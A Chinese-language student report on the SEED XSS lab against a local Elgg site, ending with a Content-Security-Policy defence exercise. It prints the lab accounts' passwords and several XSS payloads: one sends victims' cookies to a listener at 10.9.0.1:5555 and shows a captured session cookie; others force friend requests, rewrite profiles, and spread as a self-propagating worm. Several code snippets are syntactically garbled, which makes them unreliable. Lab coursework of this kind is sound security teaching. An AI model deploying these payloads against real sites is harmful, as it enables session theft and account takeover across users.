

# 跨站脚本攻击实验报告

姓名：57119132 汪奥杰

日期：2021年7月20日

## 实验目标

### 实验室环境建立

#### 1. DNS配置

执行指令：

```
sudo gedit /etc/hosts
```

将 /etc/hosts 文件中的 # For XSS Lab 部分改为：

```
10.9.0.5      www.seed-server.com
10.9.0.5      www.example32a.com
10.9.0.5      www.example32b.com
10.9.0.5      www.example32c.com
10.9.0.5      www.example60.com
10.9.0.5      www.example70.com
```

#### 2. 容器设置和指令

```
dcup
(Another Terminal)
dockps
docksh <ID>
```

#### 3. Elgg网站应用程序

**MySQL数据库。** 容器通常为一次性的，所以对于该实验，我们在主机上安装了 mysql\_data 文件夹以保存MySQL数据库。

**用户账户。** Elgg服务器上创建的用户名及其密码如下：

```
-----
UserName | Password
-----
admin    | seedelgg
alice    | seedalice
boby     | seedboby
charlie  | seedcharlie
samy     | seedsamy
-----
```

## 实验任务

# 准备：熟悉“HTTP Header Live”工具

使用Web Developer Tool获取HTTP GET和HTTP POST。

All	HTML	CSS	JS	XHR	Fonts	Images	Media	WS	Other	
Status	Method	Domain	File			Initiator	Type	Transferred	Size	Time
302	GET	✓ www.seed-serv...	logout?__elgg_ts=1626763747&__elgg_token=U7pOvnQ	document			html	3.24 KB	12.32 KB	398 ms
200	GET	✓ www.seed-serv...	/			document	html	3.17 KB	12.32 KB	133 ms
304	GET	✓ www.seed-serv...	jquery.js			script	js	cached	0 B	15 ms
304	GET	✓ www.seed-serv...	jquery-ui.js			script	js	cached	0 B	16 ms
200	GET	✓ www.seed-serv...	require_config.js			script	js	cached	789 B	0 ms
304	GET	✓ www.seed-serv...	require.js			script	js	cached	0 B	21 ms
304	GET	✓ www.seed-serv...	elgg.js			script	js	cached	0 B	18 ms
200	GET	✓ www.seed-serv...	favicon-128.png	FaviconLoader.jsm:...			png	cached	4.23 KB	0 ms
200	GET	✓ www.seed-serv...	Favicon.svg	FaviconLoader.jsm:...			svg	cached	6.35 KB	0 ms
200	GET	✓ www.seed-serv...	sprintf.js	require.js:127	(script)		js	cached	0 B	0 ms
200	GET	✓ www.seed-serv...	en.js	require.js:127	(script)		js	cached	0 B	0 ms
200	GET	✓ www.seed-serv...	weakmap-polyfill.js	require.js:127	(script)		js	cached	0 B	0 ms
200	GET	✓ www.seed-serv...	FormData-polyfill.js	require.js:127	(script)		js	cached	0 B	0 ms
200	GET	✓ www.seed-serv...	init.js	require.js:127	(script)		js	cached	370 B	0 ms
200	GET	✓ www.seed-serv...	ready.js	require.js:127	(script)		js	cached	123 B	0 ms
200	GET	✓ www.seed-serv...	lightbox.js	require.js:127	(script)		js	cached	0 B	0 ms
200	GET	✓ www.seed-serv...	Form.js	require.js:127	(script)		js	cached	0.99 KB	0 ms
200	GET	✓ www.seed-serv...	topbar.js	require.js:127	(script)		js	cached	175 B	0 ms
200	GET	✓ www.seed-serv...	Plugin.js	require.js:127	(script)		js	cached	145 B	0 ms
200	GET	✓ www.seed-serv...	jquery.colorbox.js	require.js:127	(script)		js	cached	0 B	0 ms
200	GET	✓ www.seed-serv...	Ajax.js	require.js:127	(script)		js	cached	0 B	0 ms
200	GET	✓ www.seed-serv...	spinner.js	require.js:127	(script)		js	cached	754 B	0 ms
401	POST	✓ www.seed-serv...	login	jquery.js:2	(xhr)		json	400 B	84 B	252 ms

## 任务一：发布恶意消息以显示警告窗口

Alice在“Brief description”区域中添加以下代码并保存：

```
<script>alert("xss");</script>
```

登录Samy账号，查看Alice的profile，显示警告窗口：

## Alice

[Add friend](#) [Send a message](#)

Brief des

XSS

OK

Blogs

Bookmarks

Files

Pages

Wire post

Read www.seed-server.com

如果想运行一段较长的JavaScript代码，可以将JavaScript程序存储在一个独立的文件中，以`.js`扩展名保存，然后使用`<script>`标记中使用`src`属性进行引用：

```
<script type="text/javascript"
src="http://www.example.com/myscripts.js">
</script>
```

## 任务二：发布恶意消息以显示Cookies

Alice在“Brief description”区域中添加以下代码并保存：

```
<script>alert(document.cookie);</script>
```

登录Samy账号，查看Alice的profile，在警告框内显示了自己的Cookies：

## Alice

 Add friend

Send a message

Elgg=7bdj6v5qs7ru9k8rgce7310uoa

OK

Blogs

Bookmarks

Files

Pages

Wire post

Read www.seed-server.com

### 任务三：从受害者机器窃取Cookies

Alice在“Brief description”区域中添加以下代码并保存：

```
<script>document.write("<img src=http://10.9.0.1:5555?c=" +  
escape(document.cookie) + " >");</script>
```

新开启一个命令行窗口并执行以下指令开启监听：

```
nc -lknv 5555
```

登录Samy账号，查看Alice的profile，监听窗口打印出访问用户的Cookies：

```
[07/20/21] seed@VM:~/.../Labsetup$ nc -lknv 5555  
Listening on 0.0.0.0 5555  
Connection received on 10.0.2.15 41062  
GET /?c=Elgg%3D0te7pjkr3pbaspvv7aac58nbil HTTP/1.1  
Host: 10.9.0.1:5555  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0  
Accept: image/webp,*/*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Referer: http://www.seed-server.com/profile/alice
```

## 任务四：成为受害者的朋友

将以下JavaScript程序写入Samy的“About Me”区域并保存：

```
<script type="text/javascript">
window.onload = function () {
    var Ajax=null;

    var ts+"&__elgg_ts="+elgg.security.token.__elgg_ts;           ①
    var token+"&__elgg_token="+elgg.security.token.__elgg_token;   ②
    //Construct the HTTP request to add Samy as a friend.
    var sendurl="http://www.seed-server.com/action/friends/add?friend=59" + ts +
    token + ts + token;
    //Create and send Ajax request to add friend

    Ajax=new XMLHttpRequest();
    Ajax.open("GET", sendurl, true);
    Ajax.send();
}
</script>
```

登录Alice的账号并访问Samy的主页，Samy就自动添加到Alice的好友列表中：

The screenshot shows the 'Alice's friends' page from the Elgg platform. At the top, it says 'Elgg For SEED Labs'. Below that, the title 'Alice's friends' is displayed. On the left, there is a sidebar for Samy, which includes a profile picture of a person in a hat and a link to 'Samy'. The main content area lists Alice's friends: 'Alice' (with a profile picture of a girl), followed by links to 'Blogs', 'Bookmarks', 'Files', 'Pages', and 'Wire post'. At the bottom of the page, there is a sidebar for 'Friends' with links to 'Friends', 'Friends of', and 'Collections'. At the very bottom, there are links for 'RSS' and 'Bookmark this page'.

- 问题1：解释①和②的用途，为什么需要它们？

**答：**通过这两条代码可以获得安全令牌和时间戳，每个用户操作都调用 validateAtion(token) 函数，该函数验证令牌。如果令牌不存在或无效，操作将被拒绝，用户将被重定向。要成功攻击，攻击者需要了解秘密令牌的值以及目标用户的Elgg页面内嵌的时间戳。

- **问题2：**如果Elgg应用程序只为“关于我”字段提供编辑器模式，即。你不能切换到文本模式，你还能发动一次成功的攻击吗？

**答：**不能。

## 任务五：修改受害者的资料

将以下JavaScript程序写入Samy的“About Me”区域并保存：

```
<script type="text/javascript">
window.onload = function(){
    //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
    //and Security Token __elgg_token
    var userName+"&name="+elgg.session.user.name;
    var guid+"&guid="+elgg.session.user.guid;
    var ts+"&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token+"&__elgg_token="+elgg.security.token.__elgg_token;
    //Construct the content of your url.
    var content=token + ts + userName +
    "&description=Samy%20is%20my%20hero&accessLevel[description]=2"+guid;
    var samyGuid=59;
    var sendurl="http://www.seed-server.com/action/profile/edit";
    if(elgg.session.user.guid!=samyGuid) ①
    {
        //Create and send Ajax request to modify profile
        var Ajax=null;
        Ajax=new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>
```

登录Alice的账号并访问Samy的主页，Alice的简介就会自动修改：

# Alice

[Edit avatar](#)[Edit profile](#)

About me  
Samy is my hero

[Add widgets](#)[Blogs](#)[Bookmarks](#)[Files](#)[Pages](#)[Wire post](#)[Bookmark this page](#)[Report this](#)

Powered by Elgg

- **问题3：**我们为什么需要①？注释这行代码，重复你的攻击。报告并解释你的观察。

**答：**因为samy要避免攻击到自己，否则简介的攻击代码就会变成“Samy is my hero”，之后其他人再访问Samy就不会受到攻击了。

## Samy

[Edit avatar](#)[Edit profile](#)

About me  
Samy is my hero

[Add widgets](#)

- [Blogs](#)
- [Bookmarks](#)
- [Files](#)
- [Pages](#)
- [Wire post](#)

[Bookmark this page](#)[Report this](#)

Powered by Elgg

## 任务六：编写一个自传播的XSS蠕虫

包括链接方法与DOM方法。

使用脚本实现XSS蠕虫攻击，将以下JavaScript程序写入Samy的“About Me”区域并保存：

```

<script type="text/javascript" id=worm>
window.onload = function(){
    var name=&name;+elgg.session.user.name;
    var guid=&guid;+elgg.session.user.guid;
    var ts=&__elgg_ts;+elgg.security.token.__elgg_ts;
    var token=__elgg_token;+elgg.security.token.__elgg_token;

    var description = "&description;Your profile have been attacked!";
    var scriptstr = "<script type='text/javascript' id=worm>" +
document.getElementById("worm").innerHTML + "</script>";

    var content=token + ts + description + encodeURIComponent(scriptstr) +
guid + name;
    var sendurl="http://www.seed-server.com/action/profile/edit";
    if(elgg.session.user.guid!=59)
    {
        Ajax=new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Content-type", "application/x-www-form-
urlencoded");
    }
}

```

```
Ajax.send(content);  
}  
}  
</script>
```

登录Alice的账号并访问Samy的主页， Alice的简介就会自动修改：



The screenshot shows the Elgg profile page for a user named Alice. At the top, there is a blue header bar with the text "Elgg For SEED Labs" on the left and a menu icon on the right. Below the header, the user's name "Alice" is displayed in a large, bold, dark blue font. Underneath the name are two blue buttons: "Edit avatar" and "Edit profile". To the left of the main content area is a sidebar containing a profile picture of Alice (a cartoon girl with blonde hair) and a list of links: "Blogs", "Bookmarks", "Files", "Pages", and "Wire post". In the main content area, there is a box titled "About me" containing the text "Your profile have been attacked!". At the bottom of the page, there are two buttons: "Bookmark this page" and "Report this". The footer of the page says "Powered by Elgg".

登录Bob的账号并访问Alice的主页， Bob的简介就会自动修改：

# Boby

[Edit avatar](#)[Edit profile](#)

## About me

Your profile have been attacked!

[Add widgets](#)[Blogs](#)[Bookmarks](#)[Files](#)[Pages](#)[Wire post](#)[Bookmark this page](#)[Report this](#)

Powered by Elgg

www.seed-server.com

于是就实现了XSS蠕虫攻击。

## 任务七：使用CSP击败XSS攻击

### 1. 实验网站建立

更改配置文件。重启Apache服务器可执行以下指令：

```
sudo service apache2 restart
```

DNS配置。执行以下指令：

```
sudo gedit /etc/hosts
```

确保 /etc/hosts 文件中存在以下条目：

10.9.0.5	www.example32a.com
10.9.0.5	www.example32b.com
10.9.0.5	www.example32c.com
10.9.0.5	www.example60.com
10.9.0.5	www.example70.com

## 2. 实验网页

文件 index.html 内容为：

```
<html>
<h2>CSP Experiment</h2>
<p>1. Inline:Nonce (111-111-111): <span id='area1'><font color='red'>Failed</font></span></p>
<p>2. Inline:Nonce (222-222-222): <span id='area2'><font color='red'>Failed</font></span></p>
<p>3. Inline:NoNonce: <span id='area3'><font color='red'>Failed</font></span></p>
<p>4. From self: <span id='area4'><font color='red'>Failed</font></span></p>
<p>5. From www.example60.com: <span id='area5'><font color='red'>Failed</font></span></p>
<p>6. From www.example70.com: <span id='area6'><font color='red'>Failed</font></span></p>
<p>7. From button click: <button onclick="alert('JS Code executed!')">Click me</button></p>

<script type="text/javascript" nonce="111-111-111">
document.getElementById('area1').innerHTML = "<font color='green'>OK</font>";
</script>

<script type="text/javascript" nonce="222-222-222">
document.getElementById('area2').innerHTML = "<font color='green'>OK</font>";
</script>

<script type="text/javascript">
document.getElementById('area3').innerHTML = "<font color='green'>OK</font>";
</script>

<script src="script_area4.js"> </script>
<script src="http://www.example60.com/script_area5.js"> </script>
<script src="http://www.example70.com/script_area6.js"> </script>

</html>
```

## 3. 设置CSP策略

包括通过Apache配置CSP与通过web应用程序配置CSP。

## 4. 实验任务

打开网站：

<http://www.example32a.com>：

## CSP Experiment

1. Inline:Nonce(111-111-111):OK
2. Inline:Nonce(222-222-222):OK
3. Inline:NoNonce:OK
4. Fromself:OK
5. Fromwww.example60.com:OK
6. Fromwww.example70.com:OK
7. Frombuttonclick:

`http://www.example32b.com:`

## CSP Experiment

1. Inline:Nonce(111-111-111):Failed
2. Inline:Nonce(222-222-222):Failed
3. Inline:NoNonce:Failed
4. Fromself:OK
5. Fromwww.example60.com:Failed
6. Fromwww.example70.com:OK
7. Frombuttonclick:

`http://www.example32c.com:`

## CSP Experiment

1. Inline:Nonce(111-111-111):OK
2. Inline:Nonce(222-222-222):Failed
3. Inline:NoNonce:Failed
4. Fromself:OK
5. Fromwww.example60.com:Failed
6. Fromwww.example70.com:OK
7. Frombuttonclick:

按下按钮。第一个网站会显示JS Code executed!，后两个网站没有响应。

修改example32b的配置(修改Apache配置)。修改文件apache\_csp.conf中的www.example32b.com部分：

```
<virtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32b.com
    DirectoryIndex index.html
    Header set Content-Security-Policy " \
        default-src 'self'; \
        script-src 'self' *.example60.com *.example70.com \
    "
</virtualHost>
```

执行指令：

```
Ctrl+C  
dcbuild  
dcup
```

打开网站 <http://www.example32b.com> :

## CSP Experiment

1. Inline:Nonce (111-111-111): Failed
2. Inline:Nonce (222-222-222): Failed
3. Inline:No Nonce: Failed
4. From self: OK
5. From www.example60.com: OK
6. From www.example70.com: OK
7. From button click:

修改 example32c 的配置(修改PHP代码)。修改 phpindex.php 文件:

```
<?php  
$cspheader = "Content-Security-Policy:".  
    "default-src 'self';".  
    "script-src 'self' 'nonce-111-111-111' 'nonce-222-222-222'  
    "*.example60.com *.example70.com".  
    "";  
header($cspheader);  
?  
  
<?php include 'index.html';?>
```

执行指令:

```
Ctrl+C  
dcbuild  
dcup
```

打开网站 <http://www.example32c.com> :

## CSP Experiment

1. Inline:Nonce (111-111-111): OK
2. Inline:Nonce (222-222-222): OK
3. Inline:No Nonce: Failed
4. From self: OK
5. From www.example60.com: OK
6. From www.example70.com: OK
7. From button click:

**原因:** 通过配置服务器文件，修改服务器返回的CSP策略内容，只有同源的来自 .example60.com 或 .example70.com 的引入式代码以及匹配 nonce 值的嵌入式代码才可以执行。

